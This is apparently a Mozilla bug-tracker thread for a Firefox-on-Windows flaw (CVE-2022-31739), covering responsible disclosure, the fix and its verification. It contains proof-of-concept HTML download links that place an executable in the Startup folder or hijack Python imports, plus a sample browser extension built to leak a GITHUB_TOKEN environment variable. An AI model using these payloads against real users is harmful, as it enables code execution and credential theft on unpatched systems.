1765049 - (CVE-2022-31739) Possible download files like exe to user Startup folder on windows, which may cause RCE

Status: VERIFIED FIXED

(Firefox :: Downloads Panel, defect, P1)

Description

[Chaobin Zhang]

Steps to reproduce:

Pre Requirements:

1. Settings → Files and Applications → Downloads → “Always ask you where to save files” is checked
2. Environment Variable: %HOMEPATH% resolves to \ . See link: https://docs.microsoft.com/en-us/troubleshoot/windows-server/networking/variables-resolved-incorrectly , when user's home folder is on a DfS share, %HOMEPATH% should resolve to . Besides that, in some companies, IT department will configure their employee’s computer home directory to a network driver, which will also result in %HOMEPATH% resolving to . See link:
   1. https://superuser.com/questions/255776/overriding-homedrive-and-homepath-as-a-windows-7-user/
   2. https://superuser.com/questions/246731/how-do-i-change-homedrive-homepath-and-homeshare-in-windows-xp
   3. https://stackoverflow.com/questions/40077826/windows-10-system-environment-variable-path-back-slash-meaning
   4. ...

Steps:

1. Run the app.py: python app.py. Note: I didn't attach calc.exe in the attached file: firefox-startup-poc.zip
2. Visit the http://127.0.0.1:5000/, by holding for 2 seconds ENTER button on the website, the hacker can trick the user download a file like exe to his Startup folder, which will lead to RCE when system reboot.

Details:
<a id="link" href="/poc.exe" download="%APPDATA%%HOMEPATH%Microsoft%HOMEPATH%Windows%HOMEPATH%Start Menu%HOMEPATH%Programs%HOMEPATH%Startup%HOMEPATH%poc.exe">POC</a>

HTML <a> download attribute accept “%” in the file name, when the file save dialog show up and user click “Save”, %APPDATA%%HOMEPATH%Microsoft%HOMEPATH%Windows%HOMEPATH%Start Menu%HOMEPATH%Programs%HOMEPATH%Startup%HOMEPATH%poc.exe will be resolved to C:\Users{username}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\poc.exe

Another attack scenario
User has python installed and “PYTHONPATH” is configured to a path ends with backslash(). For example: PYTHONPATH=C:\MyPYTHON. For more details about PYTHONPATH, see link: https://bic-berkeley.github.io/psych-214-fall-2016/using_pythonpath.html

Python imports should be grouped in the following order:

1. sys.modules
2. built-in modules
3. import path: sys.path A list of strings that specifies the search path for modules. Initialized from the environment variable PYTHONPATH, plus an installation-dependent default.

So if we put string.py under the %PYTHONPATH% directory, it will hijack the “import string”.

<a id="link" href="/pystr" download="%PYTHONPATH%string.py">POC</a>

If user’s PYTHONPATH is configured without endings with backslash, we can still concatenate %HOMEPATH% to attack.

<a id="link" href="/pystr" download="%PYTHONPATH%%HOMEPATH%string.py">POC</a>

Actual results:

Website can trick user download file to startup directory, which may cause RCE.

Expected results:

% should be stripped in the file save dialog.

Comment 1

[Chaobin Zhang]

Attachment: app.py

Comment 2

[Chaobin Zhang]

Attachment: startup-poc.mp4

Comment 3

[Chaobin Zhang]

Attachment: pythonpath-poc.mp4

Comment 4

[Chaobin Zhang]

(In reply to zhchbin from comment #0)

After my original description getting formatted in Bugzilla, \. becomes ., which may cause incorrect understanding.

Steps to reproduce:

Pre Requirements:

1. Settings → Files and Applications → Downloads → “Always ask you where to save files” is checked
2. Environment Variable: %HOMEPATH% resolves to \ . See link: https://docs.microsoft.com/en-us/troubleshoot/windows-server/networking/variables-resolved-incorrectly , when user's home folder is on a DfS share, %HOMEPATH% should resolve to . Besides that, in some companies, IT department will configure their employee’s computer home directory to a network driver, which will also result in %HOMEPATH% resolving to . See link:

Here is the right one:

Environment Variable: %HOMEPATH% resolves to \. See link: https://docs.microsoft.com/en-us/troubleshoot/windows-server/networking/variables-resolved-incorrectly , when user's home folder is on a DfS share, %HOMEPATH% should resolve to \. Besides that, in some companies, IT department will configure their employee’s computer home directory to a network driver, which will also result in %HOMEPATH% resolving to \.

HTML <a> download attribute accept “%” in the file name, when the file save dialog show up and user click “Save”, %APPDATA%%HOMEPATH%Microsoft%HOMEPATH%Windows%HOMEPATH%Start Menu%HOMEPATH%Programs%HOMEPATH%Startup%HOMEPATH%poc.exe will be resolved to C:\Users{username}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\poc.exe

HTML <a> download attribute accept “%” in the file name, when the file save dialog show up and user click “Save”, %APPDATA%%HOMEPATH%Microsoft%HOMEPATH%Windows%HOMEPATH%Start Menu%HOMEPATH%Programs%HOMEPATH%Startup%HOMEPATH%poc.exe will be resolved to C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\poc.exe

User has python installed and “PYTHONPATH” is configured to a path ends with backslash(). For example: PYTHONPATH=C:\MyPYTHON. For more details about PYTHONPATH, see link: https://bic-berkeley.github.io/psych-214-fall-2016/using_pythonpath.html

For example: PYTHONPATH=C:\MyPYTHON\.

By the way, if you want to reproduce the problem but %HOMEPATH% is not resolving to \, you can also add another environment variable, setting it's value to \, reboot your computer for the changes to take effect, change the environment variable name in the app.py, the run the poc server and visit it.

Comment 5

[Tom Ritter [:tjr]]

Adding flag per email request

Comment 6

[Daniel Veditz [:dveditz]]

Tyson confirmed this one on Windows. If we save the file ourselves—the default—then we create a file with all the goop in the name. If the "ask every time" pref is set we send the goop to the system file dialog, and that apparently uses shell functions and interpolates the environment variables.

This could be really bad, with a few mitigating factors:

• "ask every time" isn't the default (but it's popular, and windows is VERY popular)
• WIthout a way to resolve something to a slash you won't get anywhere useful, but a remote home dir might be somewhat common among some groups like enterprise users.

Even without the clunky "hold enter for 2 seconds", some people won't pay much attention to the ugified file name and click "save" anyway if they're in a hurry.

I don't think the mitigations are enough to drop this to a sec-moderate; enough people will be at risk we should leave it at sec-high

Comment 7

[Daniel Veditz [:dveditz]]

One quick fix would be to convert '%' to '_' or something in filenames on Windows. I guess folks writing about odds might not like it.

Comment 8

[Daniel Veditz [:dveditz]]

The default behavior in ESR-91 is different than the new download behavior and it's also not vulnerable by default. But if you change ESR-91 to "Ask every time" the same bug exists there.

Comment 9

[Daniel Veditz [:dveditz]]

Marco: please help us figure out who can take on this bug.

Comment 10

[Marco Bonardo [:mak]]

Sorry, didn't mean to remove the ni.

Comment 11

[Marco Bonardo [:mak]]

I wonder if it would be excessive to sanitize the default filename at the windows/nsFilePicker.cpp level. Anything passing a default filename to the picker is subject to the problem, so I'm not sure just doing the usual downloads sanitize would suffice. Discussing on Slack with Molly.

Comment 12

[Chaobin Zhang]

I have another suggestion for fixing this problem. Maybe we can check if the default filename contains % before passing it to the file picker, if yes, call win32 api ExpandEnvironmentStringsW to expand environment-variable strings. After that we can replace illegal characters correctly.

Comment 13

[Marco Bonardo [:mak]]

(In reply to zhchbin from comment #12)

I have another suggestion for fixing this problem. Maybe we can check if the default filename contains % before passing it to the file picker, if yes, call win32 api ExpandEnvironmentStringsW to expand environment-variable strings. After that we can replace illegal characters correctly.

Sure that's also a possibility. I was mostly discussing with Molly about where to apply the fix, and we seem to agree fixing at the filepicker implementation level makes more sense, because it catches more cases and it's more future proof.

Whether we should "nullify" the variables or translate them, was not decided yet.
One downside of expanding the ENV vars (or better asking the system to do it), is that the user may still not understand the risk of saving into certain system folders, while disabling the vars would generate an ugly file name but would prevent a misunderstandment. Not sure if this is a blocker though, since the site could still use social engineering to convince the user to save into certain folders, it would just be harder than with automatic var expansion.

The other downside is that our code sanitizes before passing to the file picker, thus sanitizing after var expansion would not allow to easily apply the fix to the file picker code (unless we expand, sanitize, pass to the picker, sanitize vars again to prevent future misuse).

Comment 14

[:Gijs (he/him)]

Neil, do the patches in bug 1746052 fix this?

Comment 15

[Neil Deakin]

It doesn't. % isn't handled specially and left as is in the filename.

Comment 16

[Marco Bonardo [:mak]]

Me and Molly also discussed about comment 12, and we think letting the burden to the user to figure out if the final destination would be safe or not doesn't sound too promising. On the other side generating an ugly filename in rare cases is not a problem. So I think we'd rather just replace % in the filepicker default filename param.

Comment 17

[Chaobin Zhang]

I found that browser extension API downloads.download also being effected by this problem. A malicious extension with downloads permission can steal users' environment variables like secrets, tokens or keys, without requiring "ask every time" of download setting. By the way, many popular services/applications recommend putting secrets in environments variables. For example,

• GITHUB_TOKEN for Github cli, https://cli.github.com/manual/
• AWS_ACCESS_KEY_ID/AWS_SECRET_ACCESS_KEY for AWS cli, https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html
• ...

Here is the POC add-on:
bg.js

function notify(filename) {
    browser.notifications.create('I got your env', {
      type: 'basic',
      iconUrl: '',
      title: 'I got your env secret',
      message: 'Your env: GITHUB_TOKEN secret in: ' + filename
   }, function(notificationId) {})
}

browser.downloads.onChanged.addListener(
  function(item) {
    console.log(item);
    if (item.id) {
      let searching = browser.downloads.search({id: item.id});
      searching.then((items) => {
        let f = items[0]
        if (f.filename) {
          notify(f.filename);
        }
      });
    }
  }
)

browser.downloads.download({
  url: 'https://download-installer.cdn.mozilla.net/pub/firefox/releases/100.0/win64/en-US/', 
  saveAs: true,
  filename: '%GITHUB_TOKEN%'
})

manifest.json

{
    "name": "Steal user env secret",
    "description": "Steal user env secret",
    "version": "0.1",
    "background": {"scripts": ["bg.js"], "persistent": false},
    "permissions": ["downloads", "notifications"],
    "content_security_policy": "script-src 'self'; default-src 'self'",
    "manifest_version": 2
}

Steps to reproduce:

1. Set GITHUB_TOKEN=thisismygithubtoken in the system environment variable and then reboot.
2. Go to about:debugging and load my POC Add-On above.
3. Click Save and you will see thisismygithubtoken pop up in the filename.

Comment 18

[Chaobin Zhang]

Attachment: poc-steal-env.mp4

Comment 19

[Molly Howell (she/her) (mostly inactive)]

Attachment: Bug 1765049 - Filter out illegal paths. r=mak

Comment 20

[Molly Howell (she/her) (mostly inactive)]

Comment on attachment 9275095 [details]
Bug 1765049 - Filter out illegal paths. r=mak

Security Approval Request

• How easily could an exploit be constructed based on the patch?: I doubt it would be all that difficult, but that couldn't really be improved on without deliberately obfuscating the patch.
• Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
• Which older supported branches are affected by this flaw?: all
• If not all supported branches, which bug introduced the flaw?: None
• Do you have backports for the affected branches?: No
• If not, how different, hard to create, and risky will they be?: This patch just inserts a couple of lines into some pretty rarely changed code, I'll be surprised if those merges are not trivial.
• How likely is this patch to cause regressions; how much testing does it need?: I don't think this patch would generate regressions within Firefox. It's possible that some (legitimate) sites would run afoul of this change and begin generating incorrect filenames, but that risk seems low and the problem itself seems acceptable.
• Is Android affected?: No

Comment 21

[BugBot [:suhaib / :marco/ :calixte]]

The severity field is not set for this bug.
:mak, could you have a look please?

For more information, please visit auto_nag documentation.

Comment 22

[Tom Ritter [:tjr]]

Comment on attachment 9275095 [details]
Bug 1765049 - Filter out illegal paths. r=mak

Approved to land and request uplift

Comment 23

[Molly Howell (she/her) (mostly inactive)]

Comment on attachment 9275095 [details]
Bug 1765049 - Filter out illegal paths. r=mak

Beta/Release Uplift Approval Request

• User impact if declined: sec-high privesc/RCE bug
• Is this code covered by automated tests?: Yes
• Has the fix been verified in Nightly?: No
• Needs manual test from QE?: No
• If yes, steps to reproduce:
• List of other uplifts needed: None
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky): The patch only affects file downloads with a suggested path that includes a % character, not a very common thing to do, and it does not attempt to get in the way of those downloads, it just replaces the %'s.
• String changes made/needed:
• Is Android affected?: No

Comment 24

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

Filter out illegal paths. r=Gijs
https://hg.mozilla.org/integration/autoland/rev/5f7167a8686ef3c397b9df72eca7528fdd8acadb
https://hg.mozilla.org/mozilla-central/rev/5f7167a8686e

Comment 25

[Ryan VanderMeulen [:RyanVM]]

Comment on attachment 9275095 [details]
Bug 1765049 - Filter out illegal paths. r=mak

Approved for 101.0b5.

Comment 26

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/releases/mozilla-beta/rev/640650b986c3

Please also nominate this for ESR approval when you're comfortable doing so. It grafts cleanly.

Comment 27

[Molly Howell (she/her) (mostly inactive)]

Comment on attachment 9275095 [details]
Bug 1765049 - Filter out illegal paths. r=mak

ESR Uplift Approval Request

• If this is not a sec:{high,crit} bug, please state case for ESR consideration: This is a sec-high bug.
• User impact if declined:
• Fix Landed on Version: 102
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky): See above request. This patch can alter the default name for downloaded files, but not disable or otherwise affect any actual download flows.

Comment 28

[Daniel Veditz [:dveditz]]

Freddy will file comment 17 as a separate Web Extensions bug. That does not go through this file picker code
(please file new bugs for new problems -- it's too easy to miss variants buried in a bug that's nominally about something else)

Comment 29

[Chaobin Zhang]

(In reply to Daniel Veditz [:dveditz] from comment #28)

Freddy will file comment 17 as a separate Web Extensions bug. That does not go through this file picker code
(please file new bugs for new problems -- it's too easy to miss variants buried in a bug that's nominally about something else)

Thanks. I should had double checked the problem.

Comment 30

[Ryan VanderMeulen [:RyanVM]]

Comment on attachment 9275095 [details]
Bug 1765049 - Filter out illegal paths. r=mak

Approved for 91.10esr.

Comment 31

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/releases/mozilla-esr91/rev/f6a3fb31a326

Comment 32

[Hani Yacoub, Desktop QA]

We tried to verify the fix of the bug on our end, but we couldn't manage to reproduce the issue or to verify the fix. We tried to set the environment but due to some restrictions we didn't manage to do that.

zhchbin, could you please check if the issue is fixed on your end on Firefox Nighty and Beta?
You can download the builds from here: https://www.mozilla.org/en-US/firefox/channel/desktop/
Thanks.

Comment 33

[Chaobin Zhang]

(In reply to Hani Yacoub from comment #32)

We tried to verify the fix of the bug on our end, but we couldn't manage to reproduce the issue or to verify the fix. We tried to set the environment but due to some restrictions we didn't manage to do that.

zhchbin, could you please check if the issue is fixed on your end on Firefox Nighty and Beta?
You can download the builds from here: https://www.mozilla.org/en-US/firefox/channel/desktop/
Thanks.

Fix verified. As far as I can see, problems I reported above were resolved.

@freddy, I think we can mark https://bugzilla.mozilla.org/show_bug.cgi?id=1768713 as duplicated.

Comment 34

[:Gijs (he/him)]

(In reply to zhchbin from comment #33)

(In reply to Hani Yacoub from comment #32)

We tried to verify the fix of the bug on our end, but we couldn't manage to reproduce the issue or to verify the fix. We tried to set the environment but due to some restrictions we didn't manage to do that.

zhchbin, could you please check if the issue is fixed on your end on Firefox Nighty and Beta?
You can download the builds from here: https://www.mozilla.org/en-US/firefox/channel/desktop/
Thanks.

Fix verified. As far as I can see, problems I reported above were resolved.

@freddy, I think we can mark https://bugzilla.mozilla.org/show_bug.cgi?id=1768713 as duplicated.

I'm confused - are you saying the downloads.download extension issue is also resolved? If that never involved a filepicker, I don't see how it would be...

Comment 35

[Chaobin Zhang]

(In reply to :Gijs (he/him) from comment #34)

(In reply to zhchbin from comment #33)

(In reply to Hani Yacoub from comment #32)

We tried to verify the fix of the bug on our end, but we couldn't manage to reproduce the issue or to verify the fix. We tried to set the environment but due to some restrictions we didn't manage to do that.

zhchbin, could you please check if the issue is fixed on your end on Firefox Nighty and Beta?
You can download the builds from here: https://www.mozilla.org/en-US/firefox/channel/desktop/
Thanks.

Fix verified. As far as I can see, problems I reported above were resolved.

@freddy, I think we can mark https://bugzilla.mozilla.org/show_bug.cgi?id=1768713 as duplicated.

I'm confused - are you saying the downloads.download extension issue is also resolved? If that never involved a filepicker, I don't see how it would be...

Yes. I had verified that. Also take a look at: https://bugzilla.mozilla.org/show_bug.cgi?id=1768713#c2

Comment 37

[Hani Yacoub, Desktop QA]

Changing tracking status for Firefox101 and Firefox102 to verified.

Comment 38

[Alex Finder]

Hello! We encountered the following regression for talos on mozilla-beta. Would it be possible for this push to have triggered that regression ?

Comment 39

[Molly Howell (she/her) (mostly inactive)]

Hmm. I don't think so, sorry. The code in this patch only executes when we are about to show the Windows system dialog for selecting a location to save a file to, so it doesn't apply to macOS at all, and it doesn't look like any of the individual tests involved there would ever exercise this code even on Windows.

Comment 40

[Hani Yacoub, Desktop QA]

zhchbin, could you please do this last verification on the latest esr build so we could close this bug as verified?
https://archive.mozilla.org/pub/firefox/candidates/91.10.0esr-candidates/build1/

Thank you!

Comment 41

[Chaobin Zhang]

(In reply to Hani Yacoub from comment #40)

zhchbin, could you please do this last verification on the latest esr build so we could close this bug as verified?
https://archive.mozilla.org/pub/firefox/candidates/91.10.0esr-candidates/build1/

Thank you!

My pleasure. Fix Verified.

Comment 42

[Hani Yacoub, Desktop QA]

Thank you!
Updating the status and the tracking flags accordingly.

Comment 43

[Tom Ritter [:tjr]]

Attachment: advisory.txt